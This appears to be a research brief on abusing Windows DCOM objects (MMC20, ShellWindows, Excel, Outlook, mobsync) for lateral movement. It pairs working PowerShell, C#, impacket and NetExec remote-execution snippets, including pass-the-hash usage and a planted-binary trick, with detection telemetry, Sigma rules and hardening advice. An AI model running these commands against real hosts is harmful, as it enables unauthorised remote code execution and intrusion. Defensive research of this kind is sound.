Files
2026-07-18 21:50:11 +05:30

18 KiB
Raw Permalink Blame History

RESEARCH BRIEF: COM/DCOM for Lateral Movement (T1021.003 / T1559.001)

1. DCOM Remoting Fundamentals

  • COM = local inter-process object model; DCOM = COM remoted over ORPC (Object RPC = DCE/RPC with ncacn_ip_tcp). Client activates a class on a remote host via CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq) where COSERVERINFO.pwszName = target (FQDN for Kerberos; IP forces NTLM).
  • Wire path: TCP 135 (epmap) → remote RPCSS resolves CLSID under HKCR\CLSID → Launch/Activation permission check → DcomLaunch (svchost.exe -k DcomLaunch) starts the server (mmc.exe -Embedding, EXCEL.EXE /automation -Embedding, DllHost.exe /Processid:{AppID}) → dynamic high RPC port (49152-65535 Vista+; 1024-5000 legacy) assigned via OXID resolution (IObjectExporter::ResolveOxid2) → method calls (IDispatch::GetIDsOfNames/Invoke) over that port. 135 connection is short-lived.
  • Activation interface: ISystemActivator / IRemoteSCMActivator — opnum 3 RemoteGetClassObject, opnum 4 RemoteCreateInstance.
  • Auth: DCOM is always authenticated. Kerberos with hostname (SPN RPCSS/); NTLMv2 with IP. Produces Security 4624 Type 3 on target (+Kerberos 4768/4769), 4648 on source for explicit creds.
  • Authorization: per-AppID Launch/Activation Permissions (LaunchPermission REG_BINARY under HKCR\AppID\{AppID}) falling back to machine defaults (dcomcnfg). Default = Administrators Local+Remote Launch/Activation. Abused objects (MMC20, ShellWindows, ShellBrowserWindow) have NO explicit LaunchPermission → inherit default → local admin on target is the practical requirement. Enumerate: Get-CimInstance Win32_DCOMApplication; audit ACLs with OleViewDotNet (filter entry LaunchPermission == None).
  • "Distributed COM Users" group exists to delegate to non-admins but is usually empty; non-RID-500 local accounts blocked by UAC remote token filtering unless LocalAccountTokenFilterPolicy=1; domain accounts in local Administrators work.
  • Why stealthy: no service creation (no 7045), no scheduled task, no ADMIN$ needed for pure PowerShell/C# primitives, no new listening port, execution rides signed Microsoft binaries, same RPC plumbing as legit admin tools. Semi-interactive: output exfil out-of-band (redirect to share or impacket \\127.0.0.1\ADMIN$ write-back).

2. Abusable Remote COM Objects

2.1 MMC20.Application (enigma0x3, Jan 5 2017)

  • CLSID {49B2791A-B1AE-4C90-9B8E-E860BA07F889}; ProgID MMC20.Application; AppID {7E0423CD-1119-0928-900C-E6D4A52A0715}; host: mmc.exe spawned by svchost -k DcomLaunch with -Embedding.
  • Method: Document.ActiveView.ExecuteShellCommand(Command, Directory, Parameters, WindowState); WindowState "7" = minimized.
  • Chain: auth (admin) → remote-activate → mmc.exe starts as authenticating user → ExecuteShellCommand with program/args split → child of mmc.exe → output out-of-band.
  • Firewall caveat: inbound "Microsoft Management Console" rule must be enabled (default blocked).
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
object com = Activator.CreateInstance(t);
object doc  = t.GetType().InvokeMember("Document",  BindingFlags.GetProperty, null, com, null);
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
    new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });

IoCs: svchost → mmc.exe (-Embedding); mmc.exe → cmd/powershell; Sigma MMC20; 4624 type 3.

2.2 ShellWindows (enigma0x3 Round 2, Jan 23 2017)

  • CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}; no ProgID; LocalServer32 rundll32.exe; RunAs Interactive User.
  • Method: .Item().Document.Application.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow) (IShellDispatch2); vShow 0 = hidden. Default object in impacket dcomexec.
  • Piggybacks already-running explorer.exe → no new COM host process; requires interactive session on target. Bonus methods: ServiceStart/ServiceStop/IsServiceRunning/ShutDownWindows/GetSystemInformation.
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"   # ShellWindows default
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10

IoCs: payload child of explorer.exe; DCE/RPC GetIDsOfNames "ShellExecute" + Invoke with full command line in cleartext at Packet-Integrity (integrity ≠ encryption).

2.3 ShellBrowserWindow (enigma0x3 Round 2; bohops Navigate variant Mar 17 2018)

  • CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}; no ProgID; RunAs Interactive User. Win10/2012R2+ only — absent on Win7.
  • Method: Document.Application.ShellExecute(...) directly (no .Item()); or IWebBrowser2 Navigate/Navigate2.
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")

Navigate/2: no command switches (file path only), avoid .hta (prompt), avoid HTTP/S (IE window pops), UNC works; worked Win10→2012 but NOT against Win10/2016 targets in bohops' tests.

2.4 Excel.Application — five primitives (CLSID {00020812-0000-0000-C000-000000000046})

Host: EXCEL.EXE launched with /automation -Embedding (strong artifact). Needs Office. (a) DDEInitiate (Cybereason/Tsukerman, Sep 11 2017): DDEInitiate(App, Topic) — App ≤ 8 chars, ".exe" auto-appended (pass "cmd"); Topic ≤1024 chars; DisplayAlerts=$false. Child of EXCEL.EXE.

$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')

(b) RegisterXLL (Ryan Hanson/Empire): Application.RegisterXLL(dllPath) — DllMain executes regardless of extension/exports; UNC works. (c) Run() macro (enigma0x3): copy .xlsm, Workbooks.Open, $com.Run("MyMacro"). (d) ExecuteExcel4Macro XLM (Stan Hegt/Outflank; MDSec C# "I Like to Move It Part 2", Sep 2020): fileless XLM EXEC("calc.exe"), or full shellcode injection inside DCOM-spawned excel.exe via CALL("Kernel32","VirtualAlloc",...) + RtlMoveMemory + QueueUserAPC. SharpExcel4-DCOM (rvrsh3ll).

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
    new object[] { "EXEC(\"calc.exe\")" });

(e) ActivateMicrosoftApp (SpecterOps 2023): ActivateMicrosoftApp(5|6|7) launches EOL FoxPro/WinProj/Schedule+ via PATH search → plant payload as %LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe over ADMIN$. Win10/11 + Office 365 x64. IoCs: svchost -k DcomLaunch → EXCEL.EXE /automation -Embedding; children of EXCEL.EXE; Sysmon 7 (.xll/unknown DLL); Office non-interactive on servers ≈ zero FP.

2.5 Outlook.Application — CreateObject + DotNetToJScript (enigma0x3, Nov 16 2017)

CLSID {0006F03A-0000-0000-C000-000000000046}; host OUTLOOK.EXE -Embedding.

$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject("ScriptControl")
$RemoteScriptControl.Language = "JScript"
$RemoteScriptControl.AddCode($code)   # $code = DotNetToJScript output → fileless shellcode

Fileless shellcode exec on remote host. Variant: $object.CreateObject("Shell.Application").ShellExecute(...); Wscript.Shell adds wshom.ocx image-load IoC. Needs Outlook.

2.6 Visio (Cybereason): ProgIDs Visio.Application / Visio.InvisibleApp; Addons.Add(path) loads any executable as addon; child of VISIO.EXE.

2.7 PowerPoint (attactics.org, Feb 2018): PowerPoint.Application + AddIns.Add("c:\addin.ppam") → VBA add-in macro. Invoke-DCOMPowerPointPivot.ps1.

2.8 Word/IE status: Word DDE remote unverified (only Excel worked for Cybereason); macro route plausible-unverified. InternetExplorer.Application ({0002DF01-0000-0000-C000-000000000046}) constrained by IE protected mode; use bohops Navigate via ShellBrowserWindow. Sigma rule exists for "DCOM InternetExplorer.Application iertutil DLL hijack".

2.9 LethalHTA (codewhitesec, Jul 2018): remote htafile ProgID (mshta LocalServer32) + custom moniker + DotNetToJScript → fileless HTA-less exec. github.com/codewhitesec/LethalHTA.

2.10 Abandoned DCOM binaries (bohops, Apr 28 2018): find DCOM class whose LocalServer32/InProcServer32 binary doesn't exist on target → plant payload at that path → activate. Canonical: mobsync.exe (absent on 2008R2/2012R2), SyncInfrastructure Class CLSID {C947D50F-378E-4FF6-8835-FCB50305244D}:

copy evil.exe \\target\admin$\system32\mobsync.exe
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

Client sees 0x80080005 CO_E_SERVER_EXEC_FAILURE but payload runs. IoC: System log DistributedCOM 10010 ("did not register with DCOM within the required timeout"). Third-party leftovers too (IntelCpHDCPSvc.exe AppID {84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}).

Summary: MMC20 (mmc.exe child, fileless cmdline) · ShellWindows/ShellBrowserWindow (explorer.exe child, fileless; need interactive session) · Excel ×5 (EXCEL.EXE child) · Outlook (fileless shellcode) · Visio/PowerPoint (addon file) · mobsync (planted binary, event 10010).

3. Operational Details

$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName)
$Type = [Type]::GetTypeFromProgID($ProgId, $ComputerName)
$ComObject = [Activator]::CreateInstance($Type)

.NET COM interop does CoCreateInstanceEx + COSERVERINFO; no P/Invoke. Kerberos needs target by name; IP ⇒ NTLM. Tools: SharpCOM (rvrsh3ll), SharpExcel4-DCOM, CsDCOM (rasta-mouse), SharpMove (0xthirteen, action=dcom/hijackdcom), MoveKit, SharpLateral (reddcom). impacket dcomexec.py (agsolino/byt3bl33d3r): objects MMC20|ShellWindows(default)|ShellBrowserWindow; semi-interactive; output via cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1 read over SMB (needs ADMIN$; -share; -nooutput blind); -shell-type powershell; -silentcommand; auth: cleartext, -hashes (PtH), -k Kerberos/-aesKey/-keytab. Tested: MMC20 Win7/10/2012R2; ShellWindows Win7/10/2012R2; ShellBrowserWindow Win10/2012R2. NetExec: nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami" (--dcom-timeout). Empire: powershell/lateral_movement/invoke_dcom (MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, DetectOffice). Cobalt Strike: remote-exec com-mmc20 via Aggressor:

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");

Token notes: single-hop (no delegation); PtH works; Kerberos by hostname; Protected Users blocks NTLM; 127.0.0.1 loopback works for local testing (ShellWindows loopback runs in interactive user's explorer context). OPC DA (OT): OPC Classic is entirely DCOM — OPCEnum DCOM service; same 135+dynamic footprint; KB5004442 broke legacy OPC deployments. Environment-specific.

4. OpSec & Detection

Sysmon: EID 1 svchost(-k DcomLaunch)→mmc.exe -Embedding; svchost→EXCEL.EXE /automation -Embedding; DllHost.exe /Processid:{AppID}; second-gen mmc.exe→cmd.exe, explorer.exe→cmd.exe, EXCEL.EXE→cmd.exe (FalconFriday: /automation -Embedding alone noisy — correlate). EID 3: inbound 135 to svchost + dynamic high-port; egress from mmc/excel = beacon. EID 7: .xll/unknown DLL into EXCEL; wshom.ocx; iertutil.dll from non-system path. EID 11/13: ADMIN$ writes, mobsync.exe, .ppam/.xlsm; LaunchPermission tampering. Windows events: 4624 Type 3; 4648; 4672; System DistributedCOM 10010 (mobsync), 10006/10016 (denials); KB5004442 events 10036 (server-side rejected below PKT_INTEGRITY — user/SID/client IP), 10037/10038 (client-side). Audit DCOM Activity (rarely enabled). ETW: Microsoft-Windows-RPC surfaces ORPC calls; MDI "Remote code execution attempt" for MMC20/ShellWindows. Network: DCE/RPC ISystemActivator RemoteGetClassObject (opnum 3)/RemoteCreateInstance to 135; IDispatch GetIDsOfNames method strings ("ShellExecute", "ExecuteShellCommand") + Invoke args in cleartext at Packet Integrity (only Packet Privacy encrypts); workstation-to-workstation 135 high-fidelity. Zeek dce_rpc/Suricata; Elastic prebuilt "Incoming DCOM Lateral Movement with MMC". Tooling signatures: impacket output regex \\__[0-9]{10}\.[0-9]{6,7}\s2>&1 (misthi0s); Sigma proc_creation_win_hktl_sharpmove. Sigma MMC20 (f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, high): ParentImage endswith \svchost.exe + Image endswith \mmc.exe + CommandLine contains -Embedding. KB5004442 / CVE-2021-26414 "DCOM Hardening": Jun 2021 opt-in → Jun 14 2022 default → Mar 14 2023 mandatory. Min activation auth level RPC_C_AUTHN_LEVEL_PKT_INTEGRITY; HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1. Kills unauthenticated/relay paths (RemotePotato0 OXID-MITM→relay); rejects old clients (10036/37/38); does NOT stop authenticated admin DCOM LM.

5. Defense

  1. Segment: block workstation-to-workstation 135+dynamic; restrict to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)", "Microsoft Management Console".
  2. DCOM ACLs: dcomcnfg COM Security Edit Default/Limits remove Remote Launch/Activation from Administrators; per-object: take ownership of HKCR\AppID{guid} (TrustedInstaller), set explicit LaunchPermission deny remote, restore ownership, remove your FullControl. Monitor EID 13.
  3. Disable DCOM: HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N" — breaks remote WMI; test at scale.
  4. Identity: LAPS, tiered admin/PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still possible), disable NTLM; monitor KB5004442 state.
  5. App control: block Office child processes, ASR rules, no Office on servers, block mshta/ScriptControl.

Diagrams to draw

  1. DCOM remote activation across machines (attacker → 135/epmap → RPCSS → ACL check → DcomLaunch → mmc.exe -Embedding → OXID/dynamic port → IDispatch Invoke) with per-arrow telemetry tags.
  2. MMC20 ExecuteShellCommand chain (object model walk Application→Document→ActiveView→ExecuteShellCommand; per-hop detection).
  3. Detection data-source map (5 attack stages × sources, with "broken by hardening?" tags).

REFERENCES

enigma0x3 MMC20 — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · Round 2 — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · Excel — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · Outlook — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · Cybereason Excel DDE — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · Cybereason DCOM techniques — https://www.cybereason.com/blog/dcom-lateral-movement-techniques · bohops Navigate — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · bohops mobsync — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · MDSec DCOM — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ · SpecterOps Excel AMA — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 · MITRE T1021.003 / T1559.001 · impacket dcomexec — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py · NetExec — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command · Invoke-DCOM.ps1 — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 · SharpMove — https://github.com/0xthirteen/SharpMove · SharpCOM — https://github.com/rvrsh3ll/SharpCOM · SharpExcel4-DCOM — https://github.com/rvrsh3ll/SharpExcel4-DCOM · Cobalt Strike user guide remote-exec · LethalHTA — https://codewhitesec.blogspot.com/2018/07/lethalhta.html · PowerPoint — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ · RemotePotato0 — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ · KB5004442 — support.microsoft.com (CVE-2021-26414) · OleViewDotNet — https://github.com/tyranid/oleviewdotnet · Sigma MMC20 — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ · FalconFriday 0xFF05 — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ · misthi0s impacket hunting — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ · BloodHound ExecuteDCOM — https://bloodhound.specterops.io/resources/edges/execute-dcom · ired.team DCOM notes · HackTricks dcom-exec · Atomic T1021.003 · Software Toolbox OPC/DCOM hardening Caveats: Word-DDE remote unverified; bohops Navigate/2 failed vs Win10/2016; ShellBrowserWindow absent on Win7; ShellWindows/ShellBrowserWindow need interactive session; KB5004442 does NOT stop authenticated admin DCOM LM.